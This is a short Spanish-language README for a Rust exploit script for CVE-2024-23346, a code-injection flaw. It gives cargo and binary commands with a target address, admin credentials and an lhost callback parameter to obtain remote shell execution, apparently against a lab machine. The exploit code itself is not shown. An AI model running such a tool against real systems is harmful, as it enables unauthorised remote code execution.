CVE-2024-23346-rust-exploit

Un script de explotación en Rust para CVE-2024-23346.

Como se muestra a continuación, el POC utiliza la vulnerabilidad de inyección de código y ejecuta comandos remotos de shell como en una terminal.

poc.webm

---

Pasos para ejecutar el exploit:

• Ejecutar directamente con Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

O

• Compilar el binario: cargo build -r (el binario estará en target/release/poc)
• Ejecutar el binario:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

El script del exploit está inspirado en el experto en scripting de Python MAWK0235